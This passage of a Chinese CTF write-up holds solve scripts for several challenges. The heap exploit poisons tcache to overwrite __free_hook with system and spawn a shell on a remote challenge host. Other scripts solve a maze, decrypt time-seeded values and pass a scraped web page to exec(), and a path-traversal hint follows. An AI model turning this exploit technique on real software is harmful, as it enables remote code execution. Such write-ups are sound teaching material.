        self.bin_sh = self.libc_base + next(self.libc.search(b"/bin/sh\x00"))

    # Heap operations
    def add(self, index, size):
        self.p.recvuntil(b':')
        self.p.sendline(str(1))
        self.p.recvuntil(b"Index: ")
        self.p.sendline(str(index))
        self.p.recvuntil(b"Size ")
        self.p.sendline(str(size))

    def free(self, index):
        self.p.recvuntil(b':')
        self.p.sendline(str(4))
        self.p.recvuntil(b"Index: ")
        self.p.sendline(str(index))

    def show(self, index):
        self.p.recvuntil(b':')
        self.p.sendline(str(3))
        self.p.recvuntil(b"Index: ")
        self.p.sendline(str(index))

    def edit(self, index, content):
        self.p.recvuntil(b':')
        self.p.sendline(str(2))
        self.p.recvuntil(b"Index: ")
        self.p.sendline(str(index))
        self.p.recvuntil(b"Content: ")
        self.p.sendline(content)

    def exploit(self):
        # Initial heap setup
        for i in range(9):
            self.add(i, 0x90)

        for i in range(8):
            self.free(i)

        for i in range(7):
            self.add(i, 0x90)
        self.add(7, 0x88)

        self.show(7)
        self.libc_base = self.get_addr64() - 4111664
        print_info(f"Libc base: {hex(self.libc_base)}")
        self.get_libc_offsets()

        self.add(9, 0x18)
        self.add(10, 0x68)
        self.add(11, 0x68)
        self.add(12, 0x68)
        self.add(13, 0x18)

        self.edit(9, b'a' * 0x18 + p8(0xe1))
        self.free(10)
        self.add(10, 0xd8)
        self.free(12)
        self.free(11)

        self.edit(10, b'\x00' * 0x68 + p64(0x71) + p64(self.free_hook))
        self.add(14, 0x68)
        self.add(15, 0x68)
        self.edit(15, p64(self.system))

        self.edit(9, b'/bin/sh\x00')
        self.free(9)

        self.p.interactive()


def main():
    exp = Exploit(is_remote=True)
    exp.exploit()

if __name__ == "__main__":
    main()

null

Re

[Round 3] ezmaze(一血)
import hashlib
from collections import deque

def visualize_maze(maze_str, width=10):
    """Visualize the maze in a grid format."""
    return '\n'.join(maze_str[i:i + width] for i in range(0, len(maze_str), width))

def is_valid_move(maze, pos):
    """Check if the current position is valid."""
    return 0 <= pos < len(maze) and maze[pos] in ['+', 'F']

def solve_maze():
    maze = "*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************"
    start_pos = 5
    moves = {'w': -10, 's': 10, 'a': -1, 'd': 1}

    queue = deque([(start_pos, "")])
    visited = {start_pos}

    while queue:
        pos, path = queue.popleft()

        if maze[pos] == 'F':
            return path

        for move_char, move_val in moves.items():
            new_pos = pos
            while is_valid_move(maze, new_pos + move_val):
                new_pos += move_val
                if new_pos not in visited:
                    visited.add(new_pos)
                    queue.append((new_pos, path + move_char))

    return None

def verify_solution(solution):
    maze = "*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************"
    pos = 5
    move_map = {'w': -10, 's': 10, 'a': -1, 'd': 1}

    for action in solution:
        move = move_map[action]
        while is_valid_move(maze, pos + move):
            pos += move

    return maze[pos] == 'F'

def main():
    solution = solve_maze()
    print(f"Found solution path: {solution}")

    if verify_solution(solution):
        print("Solution verified: Valid!")
    else:
        print("Solution verification failed!")
        return

    flag = "YLCTF{" + hashlib.md5(solution.encode()).hexdigest() + "}"
    print("\nMaze visualization (10x10 grid):")
    print(visualize_maze("*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************"))
    print("\nFinal flag:", flag)

if __name__ == "__main__":
    main()
[Round 3] CASE
from pwn import *
import ctypes
import time

# 加载 libc
libc = ctypes.CDLL("libc.so.6")

# 连接到靶机
p = remote("challenge.yuanloo.com", 30037)

# 用于保存加密值
enc = []

for _ in range(43):
    response = p.recvuntil(b',')
    enc.append(response.strip().decode().rstrip(','))

print("Encrypted values:", enc)

enc_values = [int(x, 16) for x in enc]

# 用于保存解密的结果
decrypted = []


seed = int(time.time())
libc.srand(seed)

for i in range(len(enc_values)):
    v5 = libc.rand()
    original_char = (enc_values[i] ^ (v5 % 255))

    # 反向映射字符
    if 65 <= original_char <= 90:  # A-Z
        decrypted_char = chr((original_char + 52 - 65) % 26 + 65)
    elif 97 <= original_char <= 122:  # a-z
        decrypted_char = chr((original_char + 84 - 97) % 26 + 97)
    else:
        decrypted_char = chr(original_char)

    decrypted.append(decrypted_char)

# 输出解密结果
print("Decrypted value:", ''.join(decrypted))

# 关闭连接
p.close()

不知道具体的原理,要得到flag的话外面需要rot13内部需要rot7才能得到正确的flag,不太明白re,里面是根据uuid的特性得到的

case

Web

[Round 3] 404

/script.js有提示,然后

404

解密,最后在网页写个py交互一下

import requests
from bs4 import BeautifulSoup

session = requests.Session()

url = 'http://challenge.yuanloo.com:33968/ca.php'
response = session.get(url) 
soup = BeautifulSoup(response.text, 'html.parser')

pre_content = soup.find('pre').text.strip()

pre_content = pre_content.replace('$temp1', 'temp1').replace('$temp2', 'temp2').replace('$temp3', 'temp3').replace('$temp4', 'temp4').replace('$answer', 'answer')
pre_content = pre_content.replace('log', 'math.log').replace('sqrt', 'math.sqrt').replace('pow', 'math.pow').replace('sin', 'math.sin').replace('cos', 'math.cos').replace('tan', 'math.tan').replace('exp', 'math.exp').replace('abs', 'abs')

# 计算表达式
exec(pre_content)

# 输出最终答案,保留两位小数
final_answer = round(answer, 2)
print(f"答案: {final_answer:.2f}")

# 准备 POST 请求的数据
data = {
    'user_answer': final_answer
}

post_url = 'http://challenge.yuanloo.com:33968/ca.php' 
response = session.post(post_url, data=data)

print(f"POST 请求的响应: {response.text}")
[Round 3] PRead

目录穿越

pread